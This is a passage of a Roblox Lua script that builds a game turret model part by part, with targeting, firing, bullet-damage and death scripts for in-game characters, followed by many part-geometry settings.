| 2008 | -- MyTeamColor | |
| 2009 | ||
| 2010 | while true do | |
| 2011 | if(script.Parent.Parent.Destroyed.Value == false) then | |
| 2012 | target = findNearestTorso(script.Parent.Position) | |
| 2013 | ||
| 2014 | if(target ~= nil) then | |
| 2015 | ||
| 2016 | if(isInFireingRange(target,script.Parent.Position))then | |
| 2017 | script.Parent.Parent.MyTarget.Value = target.Parent | |
| 2018 | else | |
| 2019 | script.Parent.Parent.MyTarget.Value = nil | |
| 2020 | end | |
| 2021 | script.Parent.BodyGyro.cframe = script.Parent.CFrame | |
| 2022 | script.Parent.BodyGyro.P = 30000 | |
| 2023 | move(target.Position,script.Parent) | |
| 2024 | else | |
| 2025 | move(script.Parent.Parent.Point.Position,script.Parent) | |
| 2026 | script.Parent.BodyGyro.P = 5000 | |
| 2027 | script.Parent.Parent.MyTarget.Value = nil | |
| 2028 | end | |
| 2029 | script.Parent.BodyPosition.position = script.Parent.Position | |
| 2030 | end | |
| 2031 | wait(0) | |
| 2032 | end | |
| 2033 | ||
| 2034 | end)) | |
| 2035 | BodyGyro116.Parent = Part114 | |
| 2036 | BodyGyro116.CFrame = CFrame.new(20, 11.8000002, -25, -1, 0, 0, 0, 1, 0, 0, 0, -1) | |
| 2037 | BodyGyro116.maxTorque = Vector3.new(0, 0, 0) | |
| 2038 | BodyGyro116.P = 30000 | |
| 2039 | BodyGyro116.D = 1000 | |
| 2040 | BodyGyro116.MaxTorque = Vector3.new(0, 0, 0) | |
| 2041 | BodyPosition117.Parent = Part114 | |
| 2042 | Part118.Name = "Torso" | |
| 2043 | Part118.Parent = Model113 | |
| 2044 | Part118.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 2045 | Part118.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 2046 | Part118.Velocity = Vector3.new(-0.339785874, -0.352937579, 13.9667473) | |
| 2047 | Part118.Size = Vector3.new(2, 1.20000005, 2) | |
| 2048 | Part118.CFrame = CFrame.new(-46.0904083, 9.54072189, 125.976646, -0.999963403, -6.73908289e-05, -0.00775428209, -0.000104194078, 0.999988735, 0.00475052604, 0.00775316823, 0.00475118915, -0.999949932) | |
| 2049 | Part118.TopSurface = Enum.SurfaceType.Smooth | |
| 2050 | Part118.Position = Vector3.new(-46.0904083, 9.54072189, 125.976646) | |
| 2051 | Part118.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 2052 | Part119.Name = "Point" | |
| 2053 | Part119.Parent = Model113 | |
| 2054 | Part119.BrickColor = BrickColor.new("White")
| |
| 2055 | Part119.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977) | |
| 2056 | Part119.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2057 | Part119.Velocity = Vector3.new(-2.77803421, 1.17866158, 18.8656311) | |
| 2058 | Part119.Size = Vector3.new(2, 1.20000005, 1) | |
| 2059 | Part119.CFrame = CFrame.new(-47.3733101, 11.633605, 124.853088, 0.170336798, 0.151522636, 0.973659873, -0.672210753, 0.740355611, 0.00238462957, -0.720492423, -0.654909194, 0.227966323) | |
| 2060 | Part119.BottomSurface = Enum.SurfaceType.Weld | |
| 2061 | Part119.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2062 | Part119.Position = Vector3.new(-47.3733101, 11.633605, 124.853088) | |
| 2063 | Part119.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979) | |
| 2064 | Part119.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2065 | Model120.Name = "FirePoints" | |
| 2066 | Model120.Parent = Model113 | |
| 2067 | Part121.Name = "Turret01" | |
| 2068 | Part121.Parent = Model120 | |
| 2069 | Part121.BrickColor = BrickColor.new("Black")
| |
| 2070 | Part121.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994) | |
| 2071 | Part121.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2072 | Part121.Velocity = Vector3.new(0.333719254, -1.14340079, 20.2251968) | |
| 2073 | Part121.Size = Vector3.new(1, 1.20000005, 2) | |
| 2074 | Part121.CFrame = CFrame.new(-46.9106522, 13.652627, 127.242538, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827) | |
| 2075 | Part121.BackSurface = Enum.SurfaceType.Weld | |
| 2076 | Part121.BottomSurface = Enum.SurfaceType.Smooth | |
| 2077 | Part121.FrontSurface = Enum.SurfaceType.Hinge | |
| 2078 | Part121.TopSurface = Enum.SurfaceType.Smooth | |
| 2079 | Part121.Color = Color3.new(0.105882, 0.164706, 0.207843) | |
| 2080 | Part121.Position = Vector3.new(-46.9106522, 13.652627, 127.242538) | |
| 2081 | Part121.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992) | |
| 2082 | Part121.Color = Color3.new(0.105882, 0.164706, 0.207843) | |
| 2083 | Part122.Name = "Turret02" | |
| 2084 | Part122.Parent = Model120 | |
| 2085 | Part122.BrickColor = BrickColor.new("Black")
| |
| 2086 | Part122.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994) | |
| 2087 | Part122.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2088 | Part122.Velocity = Vector3.new(0.786167622, -0.604830503, 18.2871399) | |
| 2089 | Part122.Size = Vector3.new(1, 1.20000005, 2) | |
| 2090 | Part122.CFrame = CFrame.new(-45.9369965, 13.6550093, 127.470505, -0.973658144, 0.151521698, 0.170335367, -0.00238511013, 0.740354478, -0.672210813, -0.227967292, -0.654907584, -0.720491827) | |
| 2091 | Part122.BackSurface = Enum.SurfaceType.Weld | |
| 2092 | Part122.BottomSurface = Enum.SurfaceType.Smooth | |
| 2093 | Part122.FrontSurface = Enum.SurfaceType.Hinge | |
| 2094 | Part122.TopSurface = Enum.SurfaceType.Smooth | |
| 2095 | Part122.Color = Color3.new(0.105882, 0.164706, 0.207843) | |
| 2096 | Part122.Position = Vector3.new(-45.9369965, 13.6550093, 127.470505) | |
| 2097 | Part122.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992) | |
| 2098 | Part122.Color = Color3.new(0.105882, 0.164706, 0.207843) | |
| 2099 | Script123.Parent = Model120 | |
| 2100 | table.insert(cors,sandbox(Script123,function() | |
| 2101 | ProjectileSpeed = 600 | |
| 2102 | script.Parent.Parent.ProjectileSpeed.Value = ProjectileSpeed; | |
| 2103 | MaxAmmo = script.Parent.Parent.Parent.AmmoClip.Value | |
| 2104 | AmmoCount = script.Parent.Parent.Parent.AmmoClip | |
| 2105 | Clips = script.Parent.Parent.Parent.Clips | |
| 2106 | FirstFire = true | |
| 2107 | function Vel(speed,lv) | |
| 2108 | return lv*Vector3.new(speed,speed,speed) | |
| 2109 | end | |
| 2110 | name = "Gatlin Turret" | |
| 2111 | ||
| 2112 | local tnum = 0 | |
| 2113 | wait(1) | |
| 2114 | while true do | |
| 2115 | ||
| 2116 | pos1 = script.Parent.Turret01 | |
| 2117 | pos2 = script.Parent.Turret02 | |
| 2118 | firePoint = nil | |
| 2119 | if(tnum == 0) then | |
| 2120 | tnum = 1 | |
| 2121 | firePoint = pos1 | |
| 2122 | else | |
| 2123 | tnum = 0 | |
| 2124 | firePoint = pos2 | |
| 2125 | end | |
| 2126 | ||
| 2127 | if(firePoint == nil) then break end | |
| 2128 | if(script.Parent.Parent.Destroyed.Value == false) then | |
| 2129 | if(script.Parent.Parent.MyTarget.Value ~= nil) then | |
| 2130 | if(firePoint:findFirstChild("Sound") ~= nil) then
| |
| 2131 | firePoint.Sound:remove() | |
| 2132 | end | |
| 2133 | if(FirstFire == false) then | |
| 2134 | if(AmmoCount.Value > 0) then | |
| 2135 | PT = Instance.new("Part")
| |
| 2136 | PT.Size = Vector3.new(1, 0.4, 1) | |
| 2137 | PT.Shape = 1 | |
| 2138 | PT.formFactor = 2 | |
| 2139 | PT.BrickColor=BrickColor.new("Bright red")
| |
| 2140 | PT.TopSurface = "Smooth" | |
| 2141 | PT.BottomSurface = "Smooth" | |
| 2142 | PT.CanCollide = false | |
| 2143 | PT.Parent = game.Workspace | |
| 2144 | PT.Name = "Bullet" | |
| 2145 | PT.CFrame = firePoint.CFrame*CFrame.new(Vector3.new(0,0,-5)) | |
| 2146 | snd = Instance.new("Sound")
| |
| 2147 | snd.SoundId = "http://www.roblox.com/asset/?id=2692806" | |
| 2148 | snd.Volume = 1 | |
| 2149 | snd.Parent = firePoint | |
| 2150 | snd:play() | |
| 2151 | BV = Instance.new("BodyVelocity")
| |
| 2152 | BV.Parent = PT | |
| 2153 | BV.maxForce = Vector3.new(1000000,1000000,1000000) | |
| 2154 | BV.velocity = Vel(ProjectileSpeed,firePoint.CFrame.lookVector) | |
| 2155 | scr = script.BulletScript:clone() | |
| 2156 | scr.Parent = PT | |
| 2157 | AmmoCount.Value=AmmoCount.Value-1 | |
| 2158 | wait(.1) | |
| 2159 | else | |
| 2160 | if(Clips.Value > 0) then | |
| 2161 | Clips.Value = Clips.Value -1 | |
| 2162 | AmmoCount.Value = MaxAmmo | |
| 2163 | snd = Instance.new("Sound")
| |
| 2164 | snd.SoundId = "http://www.roblox.com/asset/?id=2697432" | |
| 2165 | snd.Volume = 1 | |
| 2166 | snd.Parent = firePoint | |
| 2167 | snd:play() | |
| 2168 | FirstFire = true | |
| 2169 | wait(1.2) | |
| 2170 | else | |
| 2171 | script.Parent.Parent.Destroyed.Value=true | |
| 2172 | end | |
| 2173 | end | |
| 2174 | else | |
| 2175 | snd = Instance.new("Sound")
| |
| 2176 | snd.SoundId = "http://www.roblox.com/asset/?id=2692844" | |
| 2177 | snd.Volume = 1 | |
| 2178 | snd.Parent = firePoint | |
| 2179 | snd:play() | |
| 2180 | FirstFire = false | |
| 2181 | wait(0.8) | |
| 2182 | end | |
| 2183 | else | |
| 2184 | FirstFire = true | |
| 2185 | end | |
| 2186 | script.Parent.Parent.Parent.Name = "" | |
| 2187 | script.Parent.Parent.Parent.Name = name.." Ammo Left :"..AmmoCount.Value.." Of : "..MaxAmmo*Clips.Value | |
| 2188 | end | |
| 2189 | wait(.01) | |
| 2190 | end | |
| 2191 | end)) | |
| 2192 | Script124.Name = "BulletScript" | |
| 2193 | Script124.Parent = Script123 | |
| 2194 | table.insert(cors,sandbox(Script124,function() | |
| 2195 | if(script.Parent.className == "Part") then | |
| 2196 | base = script.Parent | |
| 2197 | deBounce = false | |
| 2198 | function kill(part) | |
| 2199 | if(part == nil) then return end | |
| 2200 | if(part.Parent == nil) then return end | |
| 2201 | h = part.Parent:findFirstChild("Zombie") or part.Parent:findFirstChild("Humanoid")
| |
| 2202 | if(deBounce == false) then | |
| 2203 | deBounce = true | |
| 2204 | if (h ~= nil) and (h.className == "Humanoid") then | |
| 2205 | if(part.Name == "Head") then | |
| 2206 | h:TakeDamage(1000) | |
| 2207 | else | |
| 2208 | h:TakeDamage(15) | |
| 2209 | end | |
| 2210 | else | |
| 2211 | if(part.Anchored == false) then | |
| 2212 | destroytag = part.Parent:FindFirstChild("Destroyed") or part.Parent.Parent:FindFirstChild("Destroyed")
| |
| 2213 | if(destoytag ~= nil) then | |
| 2214 | destroytag.Value = true | |
| 2215 | else | |
| 2216 | part:Remove() | |
| 2217 | end | |
| 2218 | end | |
| 2219 | end | |
| 2220 | end | |
| 2221 | ||
| 2222 | script.Parent.Anchored = true | |
| 2223 | script.Parent.Transparency = 1 | |
| 2224 | script.Parent:remove() | |
| 2225 | end | |
| 2226 | base.Touched:connect(kill) | |
| 2227 | wait(10) | |
| 2228 | script.Parent:Remove() | |
| 2229 | end | |
| 2230 | end)) | |
| 2231 | IntValue125.Name = "ProjectileSpeed" | |
| 2232 | IntValue125.Parent = Model113 | |
| 2233 | IntValue125.Value = 600 | |
| 2234 | ObjectValue126.Name = "MyTarget" | |
| 2235 | ObjectValue126.Parent = Model113 | |
| 2236 | BoolValue127.Name = "Destroyed" | |
| 2237 | BoolValue127.Parent = Model113 | |
| 2238 | Script128.Name = "DeathScript" | |
| 2239 | Script128.Parent = Model113 | |
| 2240 | table.insert(cors,sandbox(Script128,function() | |
| 2241 | function test() | |
| 2242 | if(script.Parent ~= nil) then | |
| 2243 | script.Parent.Destroyed.Value =true | |
| 2244 | end | |
| 2245 | end | |
| 2246 | ||
| 2247 | script.Parent.ChildRemoved:connect(test) | |
| 2248 | ||
| 2249 | while true do | |
| 2250 | if(script.Parent~= nil) then | |
| 2251 | if(script.Parent.Destroyed.Value == true) then | |
| 2252 | wait(2) | |
| 2253 | Tengine = script.Parent:findFirstChild("TurretEngine")
| |
| 2254 | if(Tengine ~= nil) then | |
| 2255 | script.Parent.TurretEngine.BodyGyro:remove() | |
| 2256 | end | |
| 2257 | wait(4) | |
| 2258 | script.Parent.Parent.Head:remove() | |
| 2259 | end | |
| 2260 | end | |
| 2261 | wait(.1) | |
| 2262 | end | |
| 2263 | end)) | |
| 2264 | Model129.Name = "BodyKit" | |
| 2265 | Model129.Parent = Model111 | |
| 2266 | Part130.Name = "Smooth Block Model" | |
| 2267 | Part130.Parent = Model129 | |
| 2268 | Part130.Rotation = Vector3.new(-179.229996, 89.5, 179.5) | |
| 2269 | Part130.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 2270 | Part130.Velocity = Vector3.new(-0.339260548, -0.315080345, 14.0350704) | |
| 2271 | Part130.Size = Vector3.new(2, 1.20000005, 1) | |
| 2272 | Part130.CFrame = CFrame.new(-47.5903473, 9.54056549, 125.988266, -0.00775436917, -6.73956602e-05, 0.999961436, 0.00475051953, 0.999988735, 0.000104188577, -0.999947309, 0.00475118309, -0.0077530453) | |
| 2273 | Part130.BackSurface = Enum.SurfaceType.Weld | |
| 2274 | Part130.TopSurface = Enum.SurfaceType.Smooth | |
| 2275 | Part130.Position = Vector3.new(-47.5903473, 9.54056549, 125.988266) | |
| 2276 | Part130.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981) | |
| 2277 | SpecialMesh131.Parent = Part130 | |
| 2278 | SpecialMesh131.MeshType = Enum.MeshType.Wedge | |
| 2279 | Part132.Name = "Smooth Block Model" | |
| 2280 | Part132.Parent = Model129 | |
| 2281 | Part132.Rotation = Vector3.new(-179.729996, -0.439999998, 180) | |
| 2282 | Part132.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 2283 | Part132.Velocity = Vector3.new(-0.27165705, -0.153109163, 13.9671679) | |
| 2284 | Part132.Size = Vector3.new(2, 1.20000005, 1) | |
| 2285 | Part132.CFrame = CFrame.new(-46.0787697, 9.53359604, 127.476563, -0.999959469, -6.74005059e-05, -0.00775445672, -0.000104183076, 0.999988735, 0.00475051301, 0.00775292329, 0.00475117704, -0.999944687) | |
| 2286 | Part132.BackSurface = Enum.SurfaceType.Weld | |
| 2287 | Part132.TopSurface = Enum.SurfaceType.Smooth | |
| 2288 | Part132.Position = Vector3.new(-46.0787697, 9.53359604, 127.476563) | |
| 2289 | Part132.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978) | |
| 2290 | SpecialMesh133.Parent = Part132 | |
| 2291 | SpecialMesh133.MeshType = Enum.MeshType.Wedge | |
| 2292 | Part134.Name = "Smooth Block Model" | |
| 2293 | Part134.Parent = Model129 | |
| 2294 | Part134.Rotation = Vector3.new(136.98999, 9.80999947, 8.84999943) | |
| 2295 | Part134.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2296 | Part134.Velocity = Vector3.new(1.52329302, -0.480651498, 16.9657364) | |
| 2297 | Part134.CanCollide = false | |
| 2298 | Part134.Size = Vector3.new(2, 1.20000005, 1) | |
| 2299 | Part134.CFrame = CFrame.new(-46.3501472, 11.7570744, 127.061676, 0.973658144, -0.151521698, 0.170335367, 0.00238511013, -0.740354478, -0.672210813, 0.227967292, 0.654907584, -0.720491827) | |
| 2300 | Part134.BottomSurface = Enum.SurfaceType.Weld | |
| 2301 | Part134.Position = Vector3.new(-46.3501472, 11.7570744, 127.061676) | |
| 2302 | Part134.Orientation = Vector3.new(42.2399979, 166.699997, 179.819992) | |
| 2303 | SpecialMesh135.Parent = Part134 | |
| 2304 | SpecialMesh135.MeshType = Enum.MeshType.Wedge | |
| 2305 | Part136.Name = "Smooth Block Model" | |
| 2306 | Part136.Parent = Model129 | |
| 2307 | Part136.Rotation = Vector3.new(0.769999981, -89.4700012, 0.5) | |
| 2308 | Part136.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 2309 | Part136.Velocity = Vector3.new(-0.340311468, -0.390796125, 13.8984232) | |
| 2310 | Part136.Size = Vector3.new(2, 1.20000005, 1) | |
| 2311 | Part136.CFrame = CFrame.new(-44.5904579, 9.54088211, 125.965019, 0.0077545438, -6.74053372e-05, -0.999957502, -0.00475050695, 0.999988735, -0.000104177569, 0.999942064, 0.00475117099, 0.00775280036) | |
| 2312 | Part136.BackSurface = Enum.SurfaceType.Weld | |
| 2313 | Part136.TopSurface = Enum.SurfaceType.Smooth | |
| 2314 | Part136.Position = Vector3.new(-44.5904579, 9.54088211, 125.965019) | |
| 2315 | Part136.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981) | |
| 2316 | SpecialMesh137.Parent = Part136 | |
| 2317 | SpecialMesh137.MeshType = Enum.MeshType.Wedge | |
| 2318 | Part138.Name = "Smooth Block Model" | |
| 2319 | Part138.Parent = Model129 | |
| 2320 | Part138.Rotation = Vector3.new(0.269999981, 0.439999998, 0) | |
| 2321 | Part138.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666) | |
| 2322 | Part138.Velocity = Vector3.new(-0.407915711, -0.552769125, 13.9663267) | |
| 2323 | Part138.Size = Vector3.new(2, 1.20000005, 1) | |
| 2324 | Part138.CFrame = CFrame.new(-46.1020432, 9.54784775, 124.476707, 0.999963403, -6.74098119e-05, 0.00775471237, 0.000104215294, 0.999988735, -0.00475055026, -0.0077535985, 0.00475121336, 0.999949932) | |
| 2325 | Part138.BackSurface = Enum.SurfaceType.Weld | |
| 2326 | Part138.TopSurface = Enum.SurfaceType.Smooth | |
| 2327 | Part138.Position = Vector3.new(-46.1020432, 9.54784775, 124.476707) | |
| 2328 | Part138.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978) | |
| 2329 | SpecialMesh139.Parent = Part138 | |
| 2330 | SpecialMesh139.MeshType = Enum.MeshType.Wedge | |
| 2331 | Part140.Name = "Smooth Block Model" | |
| 2332 | Part140.Parent = Model129 | |
| 2333 | Part140.Rotation = Vector3.new(-0.599999964, 76.8199997, 48.3499985) | |
| 2334 | Part140.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2335 | Part140.Velocity = Vector3.new(-1.34596419, -0.242688298, 20.3510456) | |
| 2336 | Part140.FormFactor = Enum.FormFactor.Plate | |
| 2337 | Part140.Size = Vector3.new(1, 0.800000012, 1) | |
| 2338 | Part140.CFrame = CFrame.new(-47.6269226, 12.5006695, 125.927261, 0.151520982, -0.170334309, 0.973657012, 0.740353644, 0.672210753, 0.00238544005, -0.654906332, 0.720491409, 0.227968022) | |
| 2339 | Part140.BackSurface = Enum.SurfaceType.Weld | |
| 2340 | Part140.BottomSurface = Enum.SurfaceType.Weld | |
| 2341 | Part140.TopSurface = Enum.SurfaceType.Smooth | |
| 2342 | Part140.Position = Vector3.new(-47.6269226, 12.5006695, 125.927261) | |
| 2343 | Part140.Orientation = Vector3.new(-0.140000001, 76.8199997, 47.7599983) | |
| 2344 | SpecialMesh141.Parent = Part140 | |
| 2345 | SpecialMesh141.MeshType = Enum.MeshType.Wedge | |
| 2346 | Part142.Name = "Smooth Block Model" | |
| 2347 | Part142.Parent = Model129 | |
| 2348 | Part142.Rotation = Vector3.new(179.399994, -76.8199997, 131.649994) | |
| 2349 | Part142.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2350 | Part142.Velocity = Vector3.new(0.0114042759, 1.37301433, 14.5368576) | |
| 2351 | Part142.FormFactor = Enum.FormFactor.Plate | |
| 2352 | Part142.Size = Vector3.new(1, 0.800000012, 1) | |
| 2353 | Part142.CFrame = CFrame.new(-44.7059441, 12.5078249, 126.611176, -0.151520208, -0.170333013, -0.973655403, -0.740352631, 0.672210515, -0.00238584518, 0.65490514, 0.720490873, -0.227968857) | |
| 2354 | Part142.BackSurface = Enum.SurfaceType.Weld | |
| 2355 | Part142.BottomSurface = Enum.SurfaceType.Weld | |
| 2356 | Part142.TopSurface = Enum.SurfaceType.Smooth | |
| 2357 | Part142.Position = Vector3.new(-44.7059441, 12.5078249, 126.611176) | |
| 2358 | Part142.Orientation = Vector3.new(0.140000001, -103.18, -47.7599983) | |
| 2359 | SpecialMesh143.Parent = Part142 | |
| 2360 | SpecialMesh143.MeshType = Enum.MeshType.Wedge | |
| 2361 | Part144.Name = "Smooth Block Model" | |
| 2362 | Part144.Parent = Model129 | |
| 2363 | Part144.BrickColor = BrickColor.new("Black")
| |
| 2364 | Part144.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994) | |
| 2365 | Part144.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2366 | Part144.Velocity = Vector3.new(-0.769704342, 0.556205392, 17.607338) | |
| 2367 | Part144.Size = Vector3.new(2, 1.20000005, 1) | |
| 2368 | Part144.CFrame = CFrame.new(-46.1683197, 12.6454926, 126.27578, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303) | |
| 2369 | Part144.Color = Color3.new(0.105882, 0.164706, 0.207843) | |
| 2370 | Part144.Position = Vector3.new(-46.1683197, 12.6454926, 126.27578) | |
| 2371 | Part144.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992) | |
| 2372 | Part144.Color = Color3.new(0.105882, 0.164706, 0.207843) | |
| 2373 | Part145.Name = "Smooth Block Model" | |
| 2374 | Part145.Parent = Model129 | |
| 2375 | Part145.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994) | |
| 2376 | Part145.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2377 | Part145.Velocity = Vector3.new(-2.29835081, 1.24742377, 18.0350952) | |
| 2378 | Part145.FormFactor = Enum.FormFactor.Plate | |
| 2379 | Part145.Size = Vector3.new(2, 0.400000006, 1) | |
| 2380 | Part145.CFrame = CFrame.new(-46.0471077, 13.2377796, 125.751862, -0.97365582, 0.151520386, 0.170333385, -0.00238573598, 0.740352869, -0.672210753, -0.227968588, -0.654905319, -0.720491052) | |
| 2381 | Part145.BackSurface = Enum.SurfaceType.Weld | |
| 2382 | Part145.BottomSurface = Enum.SurfaceType.Weld | |
| 2383 | Part145.Position = Vector3.new(-46.0471077, 13.2377796, 125.751862) | |
| 2384 | Part145.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992) | |
| 2385 | SpecialMesh146.Parent = Part145 | |
| 2386 | SpecialMesh146.MeshType = Enum.MeshType.Wedge | |
| 2387 | Model147.Name = "TeamColorBricks" | |
| 2388 | Model147.Parent = Model129 | |
| 2389 | Part148.Name = "Smooth Block Model" | |
| 2390 | Part148.Parent = Model147 | |
| 2391 | Part148.BrickColor = BrickColor.new("White")
| |
| 2392 | Part148.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977) | |
| 2393 | Part148.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2394 | Part148.Velocity = Vector3.new(-1.42069364, 2.79437542, 13.0514545) | |
| 2395 | Part148.Size = Vector3.new(2, 1.20000005, 1) | |
| 2396 | Part148.CFrame = CFrame.new(-44.4523392, 11.6407576, 125.536987, 0.170336246, 0.151522294, 0.973659217, -0.672210634, 0.740355194, 0.00238480419, -0.720492184, -0.654908657, 0.227966696) | |
| 2397 | Part148.BottomSurface = Enum.SurfaceType.Weld | |
| 2398 | Part148.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2399 | Part148.Position = Vector3.new(-44.4523392, 11.6407576, 125.536987) | |
| 2400 | Part148.Orientation = Vector3.new(-0.140000001, 76.8199997, -42.2399979) | |
| 2401 | Part148.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2402 | Part149.Name = "Smooth Block Model" | |
| 2403 | Part149.Parent = Model147 | |
| 2404 | Part149.BrickColor = BrickColor.new("White")
| |
| 2405 | Part149.Rotation = Vector3.new(179.399994, -76.8199997, 41.6499977) | |
| 2406 | Part149.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2407 | Part149.Velocity = Vector3.new(0.872294664, 1.75753021, 12.4098368) | |
| 2408 | Part149.CanCollide = false | |
| 2409 | Part149.Size = Vector3.new(2, 1.20000005, 1) | |
| 2410 | Part149.CFrame = CFrame.new(-44.6341629, 10.7523317, 126.322876, 0.17033498, -0.151521504, -0.973657787, -0.672210515, -0.74035418, -0.0023851993, -0.720491588, 0.654907405, -0.22796753) | |
| 2411 | Part149.BottomSurface = Enum.SurfaceType.Weld | |
| 2412 | Part149.TopSurface = Enum.SurfaceType.Smooth | |
| 2413 | Part149.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2414 | Part149.Position = Vector3.new(-44.6341629, 10.7523317, 126.322876) | |
| 2415 | Part149.Orientation = Vector3.new(0.140000001, -103.18, -137.759995) | |
| 2416 | Part149.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2417 | SpecialMesh150.Parent = Part149 | |
| 2418 | SpecialMesh150.MeshType = Enum.MeshType.Wedge | |
| 2419 | Part151.Name = "Smooth Block Model" | |
| 2420 | Part151.Parent = Model147 | |
| 2421 | Part151.BrickColor = BrickColor.new("White")
| |
| 2422 | Part151.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994) | |
| 2423 | Part151.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2424 | Part151.Velocity = Vector3.new(-3.62802076, 2.67774725, 16.3862896) | |
| 2425 | Part151.FormFactor = Enum.FormFactor.Plate | |
| 2426 | Part151.Size = Vector3.new(2, 0.400000006, 2) | |
| 2427 | Part151.CFrame = CFrame.new(-45.7916107, 12.2294626, 124.671112, -0.973659456, 0.151522398, 0.170336425, -0.00238473853, 0.740355372, -0.672210753, -0.227966562, -0.654908717, -0.720492303) | |
| 2428 | Part151.TopSurface = Enum.SurfaceType.Smooth | |
| 2429 | Part151.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2430 | Part151.Position = Vector3.new(-45.7916107, 12.2294626, 124.671112) | |
| 2431 | Part151.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992) | |
| 2432 | Part151.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2433 | Part152.Name = "Smooth Block Model" | |
| 2434 | Part152.Parent = Model147 | |
| 2435 | Part152.BrickColor = BrickColor.new("White")
| |
| 2436 | Part152.Rotation = Vector3.new(179.399994, -76.8199997, -138.349991) | |
| 2437 | Part152.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2438 | Part152.Velocity = Vector3.new(-2.94935274, 3.48561525, 13.4791775) | |
| 2439 | Part152.FormFactor = Enum.FormFactor.Plate | |
| 2440 | Part152.Size = Vector3.new(2, 0.400000006, 1) | |
| 2441 | Part152.CFrame = CFrame.new(-44.3311119, 12.2330418, 125.013062, -0.170332983, 0.151520222, -0.973655462, 0.672210395, 0.740352571, -0.00238582515, 0.720490754, -0.65490514, -0.227968827) | |
| 2442 | Part152.BackSurface = Enum.SurfaceType.Weld | |
| 2443 | Part152.BottomSurface = Enum.SurfaceType.Weld | |
| 2444 | Part152.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2445 | Part152.Position = Vector3.new(-44.3311119, 12.2330418, 125.013062) | |
| 2446 | Part152.Orientation = Vector3.new(0.140000001, -103.18, 42.2399979) | |
| 2447 | Part152.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2448 | SpecialMesh153.Parent = Part152 | |
| 2449 | SpecialMesh153.MeshType = Enum.MeshType.Wedge | |
| 2450 | Part154.Name = "Smooth Block Model" | |
| 2451 | Part154.Parent = Model147 | |
| 2452 | Part154.BrickColor = BrickColor.new("White")
| |
| 2453 | Part154.Rotation = Vector3.new(-0.599999964, 76.8199997, 138.349991) | |
| 2454 | Part154.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686) | |
| 2455 | Part154.Velocity = Vector3.new(-0.485032022, 0.141801596, 18.2240295) | |
| 2456 | Part154.CanCollide = false | |
| 2457 | Part154.Size = Vector3.new(2, 1.20000005, 1) | |
| 2458 | Part154.CFrame = CFrame.new(-47.5551414, 10.7451811, 125.638985, -0.170337349, -0.151522994, 0.973660469, 0.672210813, -0.740356028, 0.00238447357, 0.720492601, 0.654909849, 0.227965981) | |
| 2459 | Part154.BottomSurface = Enum.SurfaceType.Weld | |
| 2460 | Part154.TopSurface = Enum.SurfaceType.Smooth | |
| 2461 | Part154.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2462 | Part154.Position = Vector3.new(-47.5551414, 10.7451811, 125.638985) | |
| 2463 | Part154.Orientation = Vector3.new(-0.140000001, 76.8199997, 137.759995) | |
| 2464 | Part154.Color = Color3.new(0.94902, 0.952941, 0.952941) | |
| 2465 | SpecialMesh155.Parent = Part154 | |
| 2466 | SpecialMesh155.MeshType = Enum.MeshType.Wedge | |
| 2467 | Part156.Name = "Smooth Block Model" | |
| 2468 | Part156.Parent = Model147 | |
| 2469 | Part156.BrickColor = BrickColor.new("White")
| |
| 2470 | Part156.Rotation = Vector3.new(-0.599999964, 76.8199997, -41.6499977) | |
